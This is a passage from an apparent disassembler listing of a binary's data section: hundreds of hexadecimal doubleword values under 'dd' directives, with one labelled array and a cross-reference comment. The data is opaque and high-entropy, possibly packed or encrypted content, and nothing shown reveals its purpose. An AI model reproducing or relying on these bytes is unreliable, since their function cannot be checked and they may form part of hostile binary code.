0CCF57B4Fh, 1744305Bh, 50EDD112h, 6F35B804h, 10BC20A7h dd 0F885813Dh, 0BA083F0Bh, 59C7AE2Ch, 0F4A719D7h, 81D6D4DCh dd 810E7898h, 3A0DCE2Bh, 0B92A19BEh, 0F8C60311h, 94E601C1h dd 0E9CB20EEh, 48F738CFh, 1E483D58h, 0DB04D304h, 50007902h dd 0B15137B4h, 3328884Fh, 0F6614CB7h, 0F65D285Eh, 3234B4A1h dd 163A0B5Dh, 6D35A036h, 2D1D2F05h, 5B8B29E9h, 71581E7Ch dd 60609E54h, 657717C1h, 1662BA75h, 85CA310Ah, 6A886661h dd 4DFEEE57h, 0F05BDAFCh, 5412875Eh, 1CB95D9Ah, 8921E7C5h dd 625B4190h, 72CF4063h, 80B8DD49h, 0FB9930E7h, 1B435905h dd 0CDBADFF7h, 76CBDB44h, 6FD661C1h, 74E993E0h, 524597AAh dd 59C1123Eh, 0B1026DA3h, 256CE405h, 2C459460h, 30024076h dd 0E938F815h, 5C750FDh, 98046805h, 685AA1Ah, 8BB5D0ACh dd 18F34A18h, 5F20C820h, 49988809h, 0CC088003h, 0B5953CBh dd 52B5F676h, 7DC451F1h, 17C0F294h, 25BC3DC5h, 725E2968h dd 2AFA0820h, 5C26026Ch, 0B8D040ADh, 0EC76A705h, 8D892D57h dd 67FBC13Ah, 62247AFCh, 79B907EBh, 43565C3Eh, 1195E813h dd 0E542F9ECh, 0ABA6134Eh, 0B04A4B9Eh, 0FF32E97Eh, 5D5D901Bh dd 123E46F9h, 77A8302Dh, 0BF421AA1h, 68C3040Ah, 509852AAh dd 0C447131Dh, 64A38059h, 2B17B054h, 4704EAC1h, 0AF137E17h dd 61C43612h, 8CB9C30Ah, 0E0D7908h, 1DC2BE56h, 0E2405C71h dd 8CB45D78h, 9747708h, 0C9DED0F7h, 0FF710939h, 9057F00Ch dd 0CEF4FAB4h, 0DAC08024h, 0B652C1FEh, 0C60A5678h, 0BBD6F6E0h dd 0B04BC537h, 3C9EBB6Bh, 0AC5E9C13h, 1EE982FCh, 3CB9006Bh dd 12653A48h, 61EAC958h, 6B361B9Fh, 950FFD31h, 24F79C2h dd 0D328CAB2h, 0F2A5D451h, 9C989A73h, 0EB80F8C7h, 0D528F725h dd 920B2E04h, 7F7FEE6h, 176E273Ch, 0E6923927h, 0D5F7B280h dd 51BDC06Eh, 0EC712FBCh dd 16CA044Bh, 32A28ABh, 8ABD5B4Eh, 0E189C5CFh, 0C0020562h dd 1E7FFA94h, 482EFE62h, 0F1B12ACCh, 69BA00E6h, 0E0365F27h dd 2B734041h, 0E1C15212h, 48030DA0h, 0B04F5883h, 65E4D716h dd 0FA17D92h, 5FBA538Eh, 55E0E2FAh, 7B7E90EAh, 0C425337Fh dd 2534469Ah, 31580CE8h, 84339721h, 17E280E9h, 0A6F81729h dd 0B60AC1ABh, 0E4B2B5A7h, 0D3C019A2h, 916934C5h, 0C00B802h dd 4F3B18F2h, 0D024518h, 0D9E97476h, 0D4C5FF43h, 0EF02B0A4h dd 0C33B4154h, 83D011B2h, 0AB365EE8h, 590C9CA7h, 1C04EB51h dd 75D05E9Bh, 7E910ABh, 803CE912h, 87D3F72Fh, 134EDE3Dh dd 0FADFB3Ah, 7E43C525h, 0C1780C25h, 0F32F5819h, 13E140D6h dd 0A00DB548h, 95CA2166h, 0F6520AFCh, 1E9893A6h, 5B96EADFh dd 0B1CDC88h, 0EB9D34E3h, 9C607E09h, 8081721Dh, 4FC6E908h dd 9390F62Eh, 16E58953h, 0A82ECEE1h, 4BC5D0FBh, 2E882DFBh dd 98BBBD81h, 6C6310BEh, 92251CA6h, 518B95Fh, 0C74252FCh dd 3282C1Eh, 84A504D8h, 538BA04Fh, 0B1E0544Bh, 4F1BE860h dd 0CF02E556h, 0AE060A2Ch, 4E7F0A01h, 813A091Dh, 4D3EBFDAh dd 76EC2FE7h, 0A55B1EA1h, 7007887h, 0FB76FFEFh, 0E13FE215h dd 0BF834E5Fh, 0EF47C4F2h, 0E0E99D44h, 5916C9ECh, 0DF899AFDh dd 8F620832h, 0B0A0C55Dh, 7954F932h, 85D54869h, 0C3D09380h dd 123DBA52h, 0B07C828h, 5B98021Ah, 8030D4B1h, 5E4F4C1h dd 0EF719E01h, 1808A586h, 859C479Fh, 82F9F766h, 0DE0A301Ah dd 35B00543h, 0AA3A83D3h, 9675A261h, 2DEBFF55h, 0ABBB0527h dd 0CB3EC79Dh, 0B828443Eh, 0B46EA441h, 0CB6225E9h, 43CD3110h dd 3A16C884h, 2B147E44h, 2F34C84Bh, 0A54FADECh, 0DFF2DB13h dd 58EDA910h, 0EEEA026Ch, 0DE6C3574h, 9508A089h, 2A6C665Ch dd 0FD09059Bh, 0D5D1E91Eh, 13DCAC98h, 2CEAC889h, 60AE94Dh dd 98672F05h, 5B5CF501h, 40DB293Ch, 0EC52081Ch, 0C2D4922Ch dd 55092D72h, 342E9BFCh, 4604870Bh, 52C8341Fh, 8A25BFF5h dd 19091C01h, 1D2958B0h, 690F3101h, 40E7D14Ah, 3250700Ah dd 0CAE9461Eh, 64775CA7h, 2A92F1FDh, 0F33E0FA1h, 9CB25AFDh dd 0AACB9C6h, 76415E27h, 26784E24h, 0D3096F6Bh, 4CA312Bh dd 411F1126h, 0E521A1F7h, 0AFF8E11Ah, 0F6360F2Eh, 3B5EBECh dd 0C9605C0Ah, 0AC64E1ECh, 3C0BE5C0h, 0D37CA12h, 17021C08h dd 9111D85Dh, 0FB05C068h, 784E0803h, 488832EFh, 0E3EEFCD8h dd 0F38B639Bh, 0B59F35Eh, 0F8DEA98Ah, 0CEE65F49h, 5ECD6817h dd 0B151DE30h, 0CE8809B9h, 0A3208DE9h, 49536850h, 1D294FC4h dd 65E90423h, 28322B35h, 0C5574B0Fh, 1CA728D9h, 747080D6h dd 65501821h, 8FE90247h, 55D0C0ABh, 3217C168h, 66E463CBh dd 1EADFD90h, 18359E6Ch, 6CED75ECh, 52D9680Bh, 151AB0FDh dd 0C13414A1h, 0F502FCE5h, 508A8C84h, 229CC80h, 0D4A07EC6h dd 8677E951h, 0B9817DB2h, 3AB13FEEh, 93D05021h, 0DEB6030h dd 4A9C76E1h, 0C5FAE914h, 88F9D3A4h, 0D7168C2h, 273BC5F7h dd 66C20CFBh, 1E7283FFh, 0F6BB841Fh, 715927DAh, 0CAE2E92Fh dd 64471891h, 0CDEC55F1h, 0FEF52341h, 0F45FD998h, 63C13EC9h dd 923B80C6h, 56F7D9F7h, 0DCD451ADh, 0FC442989h, 427367E0h dd 8271147Eh, 0F8685743h, 956FCD16h, 0D509C273h, 0F773A39Dh dd 0E3C199DBh, 0F381B9F3h, 547031F9h, 20BB8193h, 0F7AFD5Fh dd 45C44C4Ah, 527A9AAFh, 3681914h, 647B5414h, 500E90B4h dd 61016852h, 5A5DBF66h, 0A630DAF7h, 0C67F1302h, 7C9F0062h dd 0E9C48D9Ch, 4CCD6A35h, 7E91CAAEh, 0AB84130h, 97436C68h dd 19F0431h, 0B03F0F04h, 0C54EEE15h, 0DA30390h, 0C07D605Eh dd 66B24CE7h, 188AF8BFh, 28392EE9h, 0CFE086B7h, 95484AF2h dd 62BBD30Eh, 7BFA4464h, 0F6DFD42Dh, 4968509Ch, 516A30BFh dd 9255AA11h, 9A517545h, 2DAF54C9h, 17EA217Eh, 28EE2C17h dd 5D7DCB4Ch, 1E197458h, 649D5707h, 416ABA4Ah, 0F689509Fh dd 8C6254EBh, 0DACD8126h, 9AA85B4Ah, 0D686ECA4h, 9CDC86C1h dd 0EFEC8000h, 82975CB0h, 0C2C388EAh, 0BE30E077h, 85D414F7h dd 0F125FBFBh, 0F05FA9C2h, 0A8BB435h, 0C935B896h, 615B6A05h dd 33EB3C99h, 80813B7Ah, 6B3E5282h, 1757D329h, 0BAE885E9h dd 0B05C0F6Ch, 70670128h, 0F06815B3h, 0CF793C17h, 1906A1CFh dd 0D16DC731h, 5597FD18h, 3A12F2F5h, 0BA205A68h, 3CED07E4h dd 345B0116h, 5D0C0BC8h, 0E108CADBh, 58C24F3h, 4351343h dd 506ABBDh, 0B4B21704h, 0EE00BE93h, 5297B450h, 13E64C88h dd 27DC0710h, 58D2F458h, 10C2B2C4h, 7E59CA88h, 3508585Ah dd 6564082h, 7ED81F1Ch, 67920B4Fh, 0DFF26B66h, 68680097h dd 0BB4D33h, 910D584Ch, 0F7784831h, 0A3E9D009h, 0FAC024D5h dd 138ABA25h, 6E2D8647h, 50C902D1h, 7CB925EEh, 9909212h dd 0C1C4397Fh, 0CFE4953Dh, 1B371D5Ch, 6CE28656h, 0F2F8A24Dh dd 3B12A50Ch, 13E12446h, 0EC30CE91h, 172F1ABEh, 535F7ED4h dd 7515A0F1h, 9042BD3h, 0E812EE3Eh, 0E868019Ch, 0CA8748A1h dd 0ECF262Bh, 2C950890h, 6058EE51h, 329F9242h, 68130F1Ch dd 62BA0BF5h, 39D010CBh, 51D7BA06h, 964331Fh, 73FA2B8Ah dd 1D2CF256h, 0A84A9210h, 0C8082F8Ah, 0C75FD11Ah, 72FD3118h dd 6771887Ah, 8F97B622h, 0AF5BCA2Eh, 60A422A7h, 0AA1457F4h dd 8B36282Ah, 10CAE502h, 5F526F19h, 0D9F75F90h, 90A8A2EEh dd 602CC2BAh, 53184FF8h, 0B6A16851h, 1BFC25CBh, 9FEDDFFAh dd 51088F19h, 0A60AA83Ah, 7C24BF1Dh, 5C60F0F6h, 205B44BFh dd 27B0E7D6h, 0F2F9E0Ah, 2718B42Eh, 137DC2DBh, 54F381Bh dd 0E45AB49Fh, 80E1422h, 0B6858E2h, 5C21C66Dh, 8F50C8D4h dd 752F4EDCh, 0D8AEF4B8h, 7468E6A8h, 35A91454h, 4EA74149h dd 0A402DB84h, 61F22903h, 3E69D580h, 7033B340h, 0E92BE12Ah dd 34FF9317h, 0B0BAAF6h, 0D1D80491h, 3604E83h, 27DDEB91h dd 0C013112h, 54D950A5h, 0F430FB29h, 0E30A595Bh, 3D239902h dd 0F3633175h, 8525C29Bh, 3302E558h, 0CC9991B4h, 0F595202Fh dd 21760973h, 0E8BCE16h, 0F66F01AAh, 0D9FF4E9Bh, 0AD986F01h dd 122B6DAh, 3E7D94BAh, 55528520h, 8F053C13h, 0AEE29B77h dd 0FE44EE97h, 0C087FB3Bh, 5D009934h, 0E737472Dh, 9E62ECE5h dd 0E6DDB2A8h, 0C10DF9A2h, 0E57E450Bh, 4C4D67ACh, 0B6B14BEDh dd 1F1CCF2Bh, 0CC654709h, 203130E1h, 7105B9C8h, 8541AB24h dd 20EF0434h, 0CE3AB8F5h, 0F5E2DA60h, 0FC41364Fh, 9D9E9ACAh dd 5DE987D6h, 5F201C16h, 0C1810210h, 3D2682D3h, 1DFC5F70h dd 0D9010A24h, 8A020CECh, 0C162740h, 21ED2FE1h, 4D88CAE4h dd 0F27C860Bh, 35D8B70Dh, 18E36816h, 0A308C261h, 0B9FE10ADh dd 5C3B62F2h, 0B0575A11h, 0BC7CE5F8h, 69C66258h, 0BE624F76h dd 515956AFh, 0C6217ABFh, 2C127784h, 54580C64h, 0D427241Fh dd 3E888F51h, 823EE5C6h, 76CE19EFh, 521F642h, 0B3384D68h dd 3BB9173Eh, 0FAE02D94h, 13FA6AE3h, 0B4AE0BABh, 33C76130h dd 0C10A9304h, 0E3EA07EDh, 1D6601B3h, 0FCE962E4h, 0D016412Dh dd 0AB40AE5Ah, 343170C3h, 9D39B871h, 0B252DB01h, 53ECE00Dh dd 8781F58Ah, 20D888F5h, 0E041368Eh, 1664B741h, 5DC17D2Ch dd 3B3A6D03h, 0B23F6EC9h, 0A1E9E0D5h, 2464B5FBh, 8BFD29Dh dd 0FA2618A5h, 21054101h, 2D9C178h, 168A0830h, 65DA1Ah dd 7159CB83h, 0C65C0167h dd 1B53E13Eh, 0D54CE139h, 6B51F501h, 288927FAh, 0E4F312BEh dd 0A0D2BEB8h, 0D406F91h, 14E9BD5Dh, 0D136C76h, 5A525854h dd 9B90070h, 4BC4D915h, 52BDE358h, 85464F48h, 9C8BAAF5h dd 7033F986h, 7B3C2D0Fh, 4F407D21h, 2949081Eh, 8252B0D8h dd 4FF85508h, 1740AB4Ah, 7F3694E5h, 0FD870C14h, 0E908D7F7h dd 4E8AEE2Dh, 3FA29DB8h, 715192B0h, 109E801Fh, 224AC9CBh dd 0B040A02Dh, 377704F2h, 0A08A34C1h, 57139D49h, 6BB531Fh dd 5058D44Bh, 23E925BAh, 0BC6D25E2h, 352FEA4h, 20319A8h dd 45B8CD37h, 6F4214AFh, 0F921FA0Fh, 0FF5ED715h, 0FC68A3C9h dd 0EA503129h, 598036CCh, 0B652035Bh, 0E5F68014h, 0E9C6E698h dd 0D1F1582Fh, 40173CB3h, 41D1CD4Bh, 29D199E2h, 9E8591Dh dd 9B2472Fh, 12878AAh, 0D63844C3h, 3B8FE93Ah, 5D338E0Bh dd 78B89E39h, 7AF4C1ECh, 0C831F8Eh, 6BE449Bh, 6307F801h dd 0DFE93534h, 0EC563864h, 0B9BA4B0Eh, 8BDECF46h, 46F5083h dd 286BD6BEh, 228B8043h, 1A4BDC51h, 814A2E9h, 5200C646h dd 4B45F239h, 6B53A3E9h, 575D78FFh, 0F7532429h, 0D788C005h dd 0F9822A82h, 0AFA544CDh, 0D4474609h, 0A47B01C5h, 6BD5F706h dd 0B6D01884h, 4AA0596Eh, 0A6751E4Ch, 62B98159h, 7C0C3368h dd 544CE1h, 6728456Bh, 7B9CE681h, 0C8636069h, 97E55A9h dd 430BFB90h, 0FF9AB76Dh, 8773938Ah, 90A6A68h, 4EB4EF7h dd 0C8396105h, 0D0AAC46Dh, 33B032F7h, 50058AA3h, 0A187F4CAh dd 3000208Eh, 0E9476B4Bh, 48B720E5h, 0C7280D29h, 3A40476h dd 0EC052CF0h, 0FCF7E94Dh, 53AF49AFh, 409D1AD5h, 81EB140Eh dd 234CD851h, 272D0CC1h, 8D70C256h, 70551D8h, 12143D4h dd 0BA5215D9h, 30042C51h, 81FAEA6Fh, 116CCA0Fh, 4302F226h dd 0E0F43DC2h, 686747h, 0D0012816h, 1721BF57h, 504AB127h dd 1E449D7Ch, 544C470Ch, 16B60C31h, 0AB55AA23h, 2D634503h dd 3C180533h, 90D3198Bh, 48055A46h, 7ABC1C4Eh, 0E76F8012h dd 20FE581Ch, 0D580055h, 0E56545Dh, 74285935h, 0C515D576h dd 4FFF09E9h, 3805BBE9h, 0EF136022h, 2C405A00h, 8BEF2941h dd 60E91109h, 4238A2F0h, 62CC571Eh, 8C6CD5F5h, 29577F83h dd 15506243h, 0C80C2A74h, 5816252Dh, 0C1087CFEh, 83FD25F4h dd 20B428Ah, 6B65CDD5h, 9CCB3776h, 9DBE638h, 89E97C17h dd 814455AAh, 0ECBD659Ah, 393225EEh, 2BA85820h, 4AB06A61h dd 0DC707E09h, 733C007Ah, 5F7E3C8h, 8BE9F289h, 0BAB1932Eh dd 6FA16AD9h, 0F9BCF4C0h, 0E9974493h, 0E3DAD931h, 84762229h dd 29CE6C17h, 0EC8F5431h, 9C680B99h, 93345F1Fh, 5406ABBDh dd 23CACFh, 193A2EA8h, 92721E9h, 0E7789001h, 2291FB3h dd 8127923Eh, 42F12108h, 5F113BBBh, 0C52BA37Ah, 21A3535Eh dd 0C6250C4Ch, 0ED925DD6h, 6675BF07h, 0D13590B2h, 576396A3h dd 0AF953485h, 6EC18AF0h, 96CE2CD4h, 2ED028E9h, 512BA05h dd 46BB480Fh, 4DAF79Bh, 8909EB9Eh, 0A0127D82h, 82A01C51h dd 0B12D25E6h, 0F6F87012h, 9442D6Eh, 0F45A2A50h, 55293FC2h dd 8341B3C4h, 77E4017Bh, 70470A7Fh, 4648074Eh, 731D007Ch dd 67E933B1h, 0AE3ED619h, 0F181E800h, 5F9E4720h, 58E2E373h dd 9FF6000Eh, 13E9C0A2h, 0C19ABD0Ah, 36050D82h, 36A91B0h dd 49CC5C95h, 90C17350h, 71A570B9h, 3DC3D03Fh, 0E9E21335h dd 0BEF50B2Ah, 0E401D9E9h, 292D5E30h, 0CEA0A2EEh, 23D924Fh dd 51A17180h, 827FC9F3h, 1E05533h, 7FC1895Eh, 2117DFDEh dd 90ECFC8h, 576FD568h, 7055F0B1h, 4FF0E235h, 0E6BD051Ah dd 0C253500Bh, 68565DC2h, 0E4667975h, 0AF588101h, 943547Eh dd 8A44ADB1h, 0F082A39Eh, 0E12D1D6Ah, 772B07ABh, 2C5C4141h dd 0C5E0C2E0h, 801C79B5h, 0E81667C5h, 44BE5204h, 0F7E4E903h dd 2EE3BF84h, 0FD5C572Dh, 2CBE5FC5h, 0D7B280BAh, 803CDE97h dd 0B3C0D47Fh, 28A4D701h, 9FE9551Dh, 5BE0D667h, 0F8E95509h dd 28727109h, 0A753B5B9h, 50E6E942h, 4082A082h, 3F87037Dh dd 0E705202Dh, 0B9F35B8h, 0E90DC504h, 6BA3AB12h, 5DFCAF9Dh dd 78E95CD0h, 0FF014EB2h, 0B0B21535h, 9D82BE93h, 5FF8D8D5h dd 0B4A9F851h, 0E90BE2B7h, 3F5E43F5h, 577E2662h, 0E4BF0846h dd 1C6827B3h, 8165FD7Ch, 0DEACCA0Ch, 0F0A49F28h, 164AA8F5h dd 6F04B753h, 0C10252F4h, 0E3FE08E3h, 0FF89FA1Ch, 5ECD729h dd 56FDC9Dh, 0A8660569h, 8D939EC0h, 5A68E428h, 816BF9BDh dd 6FEA4BA0h, 0A5C9D16Eh, 0B8208475h, 3B805F46h, 9F737E35h dd 0D22E6CF8h, 62CF8F52h, 615A407Fh, 8760EF4Ah, 91F89099h dd 0D5BFBC17h, 85D8F8DBh, 80BA792Eh, 525A5BC2h, 3D44709Dh dd 0F79F3807h, 40409ED0h, 0E97A8405h, 9F949736h, 74E26B6Eh dd 0C41597AFh, 96B7AF47h, 2FAD023Fh, 0CDCAA9E8h, 3EC1390Bh dd 2973824Ah, 3C37E72h, 32F6E9D1h, 0C3BFB005h, 80BB0D4Fh dd 0BA5014CCh, 90215B5Ch, 0D85D3C08h, 0CAE90C44h, 0DBB70D3h dd 6DED1F0Fh, 761A92D5h, 8F6BCA29h, 37E05F0Bh, 5A34438Fh dd 41DF3DA0h, 0C96647DDh, 0E2F457A9h, 920E9707h, 7E3AC68h dd 0B3780AF7h, 9F1C8999h, 55270D32h, 0FE954416h, 0D42DAD1h dd 952579D4h, 0EC3F0BA7h, 7F1774CCh, 7D01286Eh, 71C45E25h dd 13DD7A70h, 0A9861180h, 0C22BD1CEh, 44C56EE9h, 68060A7Dh dd 8232224Bh, 19BEE954h, 0C917D6h, 3767D038h, 0FD01345Ch dd 77081274h, 6B23F82h, 57FD720Fh, 595E55Ch, 7C561AA6h dd 73D104AAh, 0F5CAFE47h, 0A5129B26h, 29B17948h, 0DB94014Ah dd 571069ACh, 0C2090B67h, 8373C258h, 9230023Ah, 2FD656A2h dd 0B85B39E4h, 298D685Eh, 0F9E25014h, 0FD41646Ch, 0DEB18122h dd 0E67870F4h, 673AD50h, 1457656h, 1E0BD4CBh, 844B8506h dd 0E9030552h, 645B2A37h, 88F94129h, 5904213Ch, 0A85BF830h dd 4BA6DFBCh, 2D633C08h, 2D1E7ADEh, 7F5723C5h, 0B06B08A9h dd 890515DDh, 3229EDE9h, 5A16027Fh, 0E17463C0h, 3E22A550h dd 0C1E488B4h, 0B7559F00h, 0E9F90116h, 0ACEB4B04h, 0D95F187h dd 219A416Ah, 6F65DF58h, 0C310A0A6h, 0D3E9C63Bh, 0F5313B3Fh dd 0AD7CF1AFh, 0E2908164h, 4828A64Eh, 0AD0B301h, 0B668E909h dd 0C383327Dh, 0C3082D01h, 68F4BB50h, 44233627h, 0F62C30C5h dd 0A8AEEF5h, 2516C395h, 0BC555690h, 1A5497F6h, 0D171E979h dd 4DD8BEADh, 8ECF8100h, 534CFA4Bh, 1C5600BBh, 0D9E936D4h dd 5995011Bh dword_4F0044 dd 0A8D44B71h, 143D1639h, 48572A28h, 0F09205BFh, 0FE63EC64h ; DATA XREF: ___:004385A4o dd 24AD666Eh, 1FDBD8F0h, 11DBF026h, 457BF840h, 51287C30h dd 30379DEBh, 670C4C02h, 562F4772h, 166A1459h, 0E48E48E9h dd 0EA4AC0C3h, 0CB7605E3h, 6DC249F3h, 2788C6D5h, 0D8E0EAC1h dd 1D24A9ABh, 832DBBC4h, 0B29605D5h, 8BDD84DAh, 0BC581C8h dd 5461161Ch, 87AA8D5h, 2EF05E16h, 737C5849h, 0ED27011h dd 0BE8B151h, 0B7F270CAh, 53BD5596h, 22DD250Dh, 509CE935h dd 0EEBE02E3h, 56613B5Eh, 68D13748h, 5D0C1B18h, 0FA28857Ah dd 0D483E18h, 2DCC088Bh, 0B37BA55Fh, 1C8B9BD1h, 0AFFE692Fh dd 9FB3E41Fh, 6341F1CAh, 4AF34A58h, 43B52BFh, 647E1310h dd 4FB5A87h, 95C251E0h, 73465FFDh, 1C91FAF2h, 38075F69h dd 55EB20DEh, 0A05EA8E9h, 54F5231h, 2025ECC2h, 0BF0584E1h dd 69CF11BBh, 31C420AAh, 1C4CDC20h, 0A1B14ADFh, 2A5FD93Eh dd 0EED23FF7h, 800C7A98h, 0E794A219h, 457A662h, 10DAAE5Fh dd 9A75506Bh, 6BA0FF89h, 0A3427EEAh, 1054D48h, 69A52270h dd 2E82DA01h, 7B941AC7h, 6790C0FAh, 6D8D795Eh, 52F70F3Eh dd 0ECDABCA5h, 830A9E15h, 5D425320h, 0E932572Dh, 56C5ABF6h dd 72FEABC8h, 8C66BCEh, 0D8130F5Eh, 88AE9CABh, 0D9D3F75Ah dd 0CE01E2AFh, 0EBAB808Eh, 861A4C10h, 0BD552876h, 3950B508h dd 31BF584Ah, 817121FCh, 730FB983h, 0E36E4A95h, 84B24CEEh dd 95BEFCF8h, 0E306AE06h, 7F3A9039h, 70B96EADh, 6C872D01h dd 0D8C8604Fh, 0E9070550h, 26D24259h, 0D4E22158h, 25890B8Dh dd 0FF250B7Eh, 0A2BFC81Ch, 10685128h, 76EE5059h, 72C34B07h dd 32800D58h, 5BE93F51h, 0B2B316CCh, 22FAA5B7h, 60544480h dd 0BF10DD52h, 0E340A1E9h, 0B95FFA68h, 9529288h, 0B174239Dh dd 8069C52Fh, 7163AFBAh, 0E24CD17Dh, 7D904F7h, 94AC35D0h dd 0B87B0C58h, 4D3A0018h, 85681583h, 8D690DA5h, 2770CCh dd 4E4C5125h, 11763566h, 45EAF076h, 0CC68753Ch, 14E83B8Ch dd 2DCB43E2h, 886CC7CFh, 5C17E2DCh, 0DFF8F517h, 3138EF4Bh dd 0A5688083h, 0B43F3462h, 678F0907h, 0A33A3C84h, 391D013Fh dd 5FE97641h, 0B62BA231h, 0BE56014Fh, 586F0C1Ah, 0E9FD242Fh dd 0C3819375h, 0FCC21F67h, 7ED58C57h, 510BC69Bh, 0C2352817h dd 0FFE24081h, 0D2F2DC2h, 0F18990E0h, 0E984DC9Eh, 7ACA669Eh dd 4EF70776h, 0C01FD478h, 0A07762EFh, 27DA204Ch, 268652D9h dd 96803C0h, 43FEFA09h, 92EAF558h, 57140B07h, 427425FEh dd 82FA5B58h, 0A5208A66h, 16057D02h, 0B3AF142h, 165DB2CCh dd 119E809Dh, 40860D62h, 2AED701h, 0AFF65A08h, 4FA1AC3h dd 2254CE35h, 0EE72C017h, 68027ECBh, 1AB8E96Eh, 40F7FE01h dd 8CF317Ah, 856E5B4Ch, 0E594C7E9h, 308197AFh, 27582D52h dd 71528698h, 7E9C09E3h, 0C660078Bh, 0F7E85AD4h, 8A74059Fh dd 4FF88322h, 0D609448Eh, 0F57C4776h, 0ABE2F1C0h, 0D680632Fh dd 72591977h, 62F82EBFh, 97DE9627h, 0B249AACh, 0A402888Fh dd 0FFBCCD1Eh, 290D0C93h, 9290F6D3h, 0C701075Bh, 3F8B4D3Dh dd 6A7E8230h, 390A20Ch, 7F2D5EC0h, 0B2E84EC2h, 0E13FC141h dd 9D09F403h, 5EA9ED88h, 7F680994h, 61C27A10h, 0F57238B4h dd 0EE0BB6CCh, 0C069477Dh, 0D21E1D8Fh, 5882B864h, 912A1994h dd 36F8BE36h, 0C03958E7h, 68072048h, 0B5E85AA3h, 0B0C4945Dh dd 0E22C803Dh, 0A53BE867h, 0D94B2076h, 9D6FC218h, 80436CAh dd 7543AA59h, 940445FDh, 2668E6C8h, 0E9A62641h, 69166382h dd 7F0C5709h, 300CF63Ah, 0E462E72h, 71C413C3h, 29FE498Bh dd 144A4223h, 0E997E495h, 49B58D7Fh, 3AFCA014h, 48629745h dd 0B679484h, 33BD5866h, 282CE2EAh, 0A42DBBECh, 0E8F8E5D1h dd 0B566E82Ch, 4DA061D0h, 15A2619h, 9868FCD0h, 0BE68A82Bh dd 5440799Fh, 1EBAA91Dh, 30490F5Ch, 3F4CBCC6h, 0B5E9113Eh dd 88BF8F96h, 0D541EC7Bh, 52C34D42h, 440CD77Bh, 0FACB0187h dd 0B83B58E5h, 0A8BD5E15h, 16838850h, 4273E54h, 18D7288Fh dd 82D913FEh, 0BDA75AD5h, 4430D051h, 15C605D0h, 0A71E7D67h dd 3EB66A59h, 1682B909h, 42E80220h, 5E46917h, 6F84857Ch dd 0D6BE01F3h, 802F2622h, 576B06B9h, 0D2F02924h, 559C0822h dd 8BB0E017h, 4BEDB551h, 0E9F12982h, 80F8C817h, 59E23AC3h dd 6835EB3Ch, 33970625h, 5A252224h, 5380DD21h, 22BB73AFh dd 0E8E6816h, 52E81960h, 0B0364AA6h, 600DFA5h, 0E5D14171h dd 0C4E7CAE9h, 0F3F030E3h, 0C30C78E6h, 0ECE14CE9h, 56330FB8h dd 5E4B60C5h, 0DB77D7E2h, 5963E4Ah, 31062842h, 188281A2h dd 0A5815BEBh, 4825B568h, 37128851h, 4F84BE7h, 5880C04Ah dd 0BFF8DD44h, 96BE2A02h, 75DF29AAh, 7772B042h, 89972898h dd 0BA96556Fh, 78897196h, 329CD7E4h, 354E6871h, 0A3BA3524h dd 0CAE5A18h, 179058EDh, 1AD90316h, 0EBCC4FBAh, 51480FEh dd 16B9514Bh, 0ABE8452Eh, 70E9C901h, 0E1D833BEh, 7469380Ah dd 85A420FAh, 8AB6814h, 1E02D380h, 40454A73h, 82AA4068h dd 0B7121076h, 0A56113A1h, 0C7D1F26Eh, 7CC0C32Dh, 50F80168h dd 5EE90705h, 0A97D124Ah, 8C489F48h, 7AE90613h, 78B7EB45h dd 2D6F0965h, 0E757446Dh, 2DE12CBBh, 0F9BE7CD9h, 33D72E2Ah dd 613ADC97h, 742BE950h, 68125E93h, 1C603D93h, 985522B0h dd 0B8BE0A05h, 19F9D4Ah, 2D04C9CEh, 0E0C845Fh, 8EC2FB07h dd 82415CD6h, 9841AF9Eh, 2C8B440h, 89BD14F2h, 796257B3h dd 74E90B02h, 685831C8h, 0E604642Dh, 9D31E0B1h, 0F71CEF48h dd 291D2E08h, 88D325CAh, 549FE905h, 4BA1E1FCh, 0E31781FCh dd 457E6649h, 0D321972Eh, 0BC2FD7D9h, 0D56529DFh, 2203716h dd 0CAE295B3h, 919FB84Ch, 8C63F346h, 7F0B1E92h, 731C1001h dd 0DA4B6849h, 478FB198h, 802CBAB8h, 16BBEA53h, 8D9823A7h dd 0ADCD4E29h, 0D2AB9221h, 0F770C4D6h, 93E5941h, 19F166D9h dd 0B7DAA46Fh, 70145C92h, 5E19E464h, 0F8EF5301h, 2D3509D7h dd 0E6CC7267h, 509DFA7Ah, 1280DB8Fh, 0BE143F24h, 8EB2D0Ah dd 9E65A18h, 68263217h, 4177981Ah, 496E29DCh, 0A5837E75h dd 0D2EAE925h, 9F709B89h, 0DC736A29h, 0B7D97E66h, 0A2C1186Ch dd 1ABF2D63h, 8A7A882Ah, 76C25D3Eh, 0D410CA24h, 26A47712h dd 0E2350338h, 0D6895641h, 5FDFC294h, 13B6870h, 51D3AED5h dd 0C4F7218Fh, 61E2F062h, 9C545616h, 7E95EE67h, 0EC0A70A6h dd 7EEECBC0h, 0F70F2D30h, 0FB059FCDh, 79154801h, 0DF7549A3h dd 8332B77Fh, 2FF3A2E9h, 0FA6DC61Dh, 0C8337D27h, 0BD65905Fh dd 2270EE04h, 0B1AEE904h, 66A7E825h, 853949Dh, 9B47E959h dd 27AA5B17h, 0B8DCB4AFh, 35BD0497h, 41877E53h, 5C0961C4h dd 0B74A9E1Ch, 575EB809h, 0F99DAA1Eh, 18E94164h, 71306EBCh dd 4A6E54EDh, 0B75BD029h, 3D08F946h, 2C0A67E9h, 0B5F23B38h dd 3564D08Bh, 0B4060ACAh, 71309F02h, 5A5E4143h, 9FE57FCEh dd 0B00970AFh, 1B4CC96Eh, 5E4B9C94h, 817D0EF6h, 0D702EF84h dd 0DA1D78CBh, 8FBC616Bh, 52DB5802h, 5611F627h, 8FE961C4h dd 0FE7712FEh, 0FE53BD9Ch, 473A4C4Bh, 0FADB5BDBh, 0AA1B16F4h dd 23A2104Ch, 1CAA5A13h, 2068C58Fh, 17F8B201h, 2AF9D0ECh dd 0E627F8DEh, 538831D9h, 0A14849BBh, 732F036Bh, 42DBDC61h dd 9D9ADDECh, 8C20F9C4h, 0D20090D7h, 7D75E36Dh, 30B67776h dd 0BC1A013Dh, 293AE90Eh dd 0A6BE84C3h, 8EE986B6h, 0C1293B51h, 56A1CBFFh, 4B166457h dd 39BBA850h, 5C3CDEC1h, 9768125Ah, 0AF39BF42h, 0BDBA8580h dd 0BF4B3323h, 0E90BB962h, 27787Dh, 5E82959h, 7F0C0155h dd 0CC40AFB0h, 60749F88h, 5E4830B3h, 34B2A073h, 69A4434Fh dd 4801E31Fh, 1AA53093h, 0E83E2009h, 5BEB5001h, 0AFCBC405h dd 85ED7928h, 11450226h, 702725C2h, 95191886h, 